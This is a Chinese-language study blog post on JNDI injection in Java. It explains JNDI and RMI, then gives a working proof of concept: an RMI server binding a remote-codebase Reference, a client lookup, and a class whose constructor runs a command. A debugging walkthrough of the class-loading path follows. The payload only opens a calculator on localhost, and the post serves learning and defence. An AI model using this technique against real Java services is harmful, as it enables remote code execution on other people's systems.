JNDI注入初学习
JNDI注入初学习
JNDI简介
JNDI(Java Naming and Directory Interface)
是Java
提供的Java
命名和目录接口。通过调用JNDI
的API
可以定位资源和其他程序对象。
也就是说如果程序定义了JNDI的接口,我们则可以通过该接口API访问系统的命令服务和目录服务
JNDI可访问的现有的目录和服务有:JDBC ,LDAP,RMI,DNS,NIS,CORBA
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA远程远程方法调用注册 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
Naming Service 命名服务
命名服务就是将名称和对象进行广联,也就是一种映射;我们可以通过名称找到对应的对象的操作。在命名系统中,有几个重要的概念:
Bindings:表示一个名称和对应对象的绑定关系,也就是上边提到的。
Context:上下文,一个上下文中对应着一组名称到对象的绑定关系;可以在指定的上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在这个目录中查找文件,其中的子目录也可以称为上下文(subcontext)。
References:有些对象可能无法直接存储在系统内,这时候就以引用的形式进行存储,像c语言中的指针。引用中包含了获取的实际对象所需的信息,或者对象的实际状态。
Directory Service 目录服务
目录服务是命名服务的拓展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。所以我们可以通过名称去查找对象,也能通过属性值去搜索对象。
API
我们上边知道使用目录服务可以集中存储共享信息。在java应用中除了以常规的方式使用名称服务,还可以用目录服务作为对象存储的系统,即用目录服务来存储和获取java对象。 例如播放音乐服务,我们可以通过在目录服务中查找播放器,并获取一个播放器的对象,基于这个对象进行实际的服务操作。 为此,就有了JNDN,应用通过接口与具体的目录服务进行交互。看下面的图:
实例:通过JNDI进行dns查询
package top.foreverwl.study.demo;
import javax.naming.*;
import javax.naming.directory.*;
/**
* @program: JNDI2
* @description:
* @author: 168
* @create: 2024-09-24 14:47
**/
public class JndiDns {
public static void main(String[] args) throws NamingException {
DirContext ctx = new InitialDirContext();
Attributes attrs = ctx.getAttributes("dns:/www.baidu.com", new String[]{"A"});
System.out.println(attrs.get("A"));
}
}
//A: 111.206.208.135, 111.206.208.133
JNDI注入
JNDI注入,即开发者在定义JDNI接口初始化时,lookup()方法的参数可控,攻击者可以将恶意的url传入参数,劫持java客户端的JNDI请求指向恶意的服务器地址,服务器响应了一个恶意的java对象载荷,对象被解析实例化的过程造成了注入攻击。
JNDI+RMI注入
先看一张JNDI注入对jdk版本的限制:
这里我使用的是 jdk8_u65
首先介绍两个类:
javax.naming.Reference
com.sun.jndi.rmi.registry.ReferenceWrapper
javax.naming.Reference类用来 表示一个对象的引用,它包含了对象的类名和一系列的地址信息。这个类可以用来指定一个对象的工厂类和工厂位置,而实现远程类加载和代码执行。 com.sun.jndi.rmi.registry.ReferenceWrapper正好就是为了将Reference封装为Remote使其能够在RMI注册表上绑定
我们接下来定于服务端,客户端,恶意字节码文件。
服务端
package top.foreverwl.study.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @program: JNDI
* @description:
* @author: 168
* @create: 2024-09-23 22:03
**/
public class ServerRmi {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry= LocateRegistry.createRegistry(7778);
Reference reference = new Reference("calc","top.foreverwl.study.rmi.Calc","http://127.0.0.1:8081/");
ReferenceWrapper wrapper=new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
这里注意Reference的第二个参数要为完整的类名(当时卡着了好久),第一个参数随便命名就行
客户端
package top.foreverwl.study.rmi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
/**
* @program: JNDI2
* @description:
* @author: 168
* @create: 2024-09-24 12:27
**/
public class ClientRmi {
public static void main(String[] args) throws NamingException {
String uri="rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
恶意字节码
package top.foreverwl.study.rmi;
import java.io.IOException;
/**
* @program: JNDI
* @description:
* @author: 168
* @create: 2024-09-23 22:18
**/
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
调试分析
现在lookup打断点,
进入getURLOrDefaultInitCtx方法。
首先判断是否有初始化上下文工厂构建器,如果有就返回默认的初始化上下文。(默认是没有的)。然后将name传给getURLScheme处理
其实就是将rmi://127.0.0.1:7778/RCE :之前的协议给scheme;然后跟进到getURLContext中。
然后再跟进到getURLObject方法中:
使用ResourceManager.getFactory根据scheme以及其他的参数来查找对象工厂,这里scheme就是rmi,那么它将尝试加载rmiURLContextFactory这个类。找到工厂后,就调用factory.getObjectInstance来返回一个对象实例。
继续跟进到getFactory中。
此方法使用动态策略,根据给定的属性、上下文和其他信息去找加载和实例化特定的工厂类;用于后边创建JNDI上下文对象。
我们会发现className就是上面的rmiURLContextFactory
以上步骤完成了JNDI的上下文环境的构建,后面就是要从构建好的上下文环境中去解析并获取想要的资源的过程,即lookup。
跟进到lookup方法
getRootURLContext用于解析RMI URL并准备好一个上下文,该上下文可以进一步查找RMI对象;getResolvedObj用于获取刚才的var2,里面存着解析信息。 最后调用var3.lookup去解析剩余的rmi部分,就是我们要找的资源名称:RCE
跟进lookup
跟进到decodeObject
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
这段代码判断远程对象是否被ReferenceWrapper
封装,因为ReferenceWrapper
类实现了RemoteReference
接口,所以会执行getReference
方法
该方法的主要目的是根据给定的引用信息创建对象。
看后续代码: 在319行执行后,程序就弹出计算器了,然后报异常。我们看getObjectFactoryFromReference做了什么。
首先,从本地的classpath中尝试加载factory的字节码,如果没有,再尝试通过URL去加载factory的字节码;
如果从URL中找到了factory的class,那么就会下载到本地执行,此时我们的恶意类就成功加载进内存了,所以静态代码块中的内容就会被执行。
最后还会把factory给实例化,此时也会执行无参构造方法,所以执行了我们恶意class的无参构造方法。
(ObjectFactory) clas.newInstance()
总结
初学习,复习了一下rmi然后跟着文章动调了一下;emm。动调能力太弱了。不说了睡觉去了。。
- 感谢你赐予我前进的力量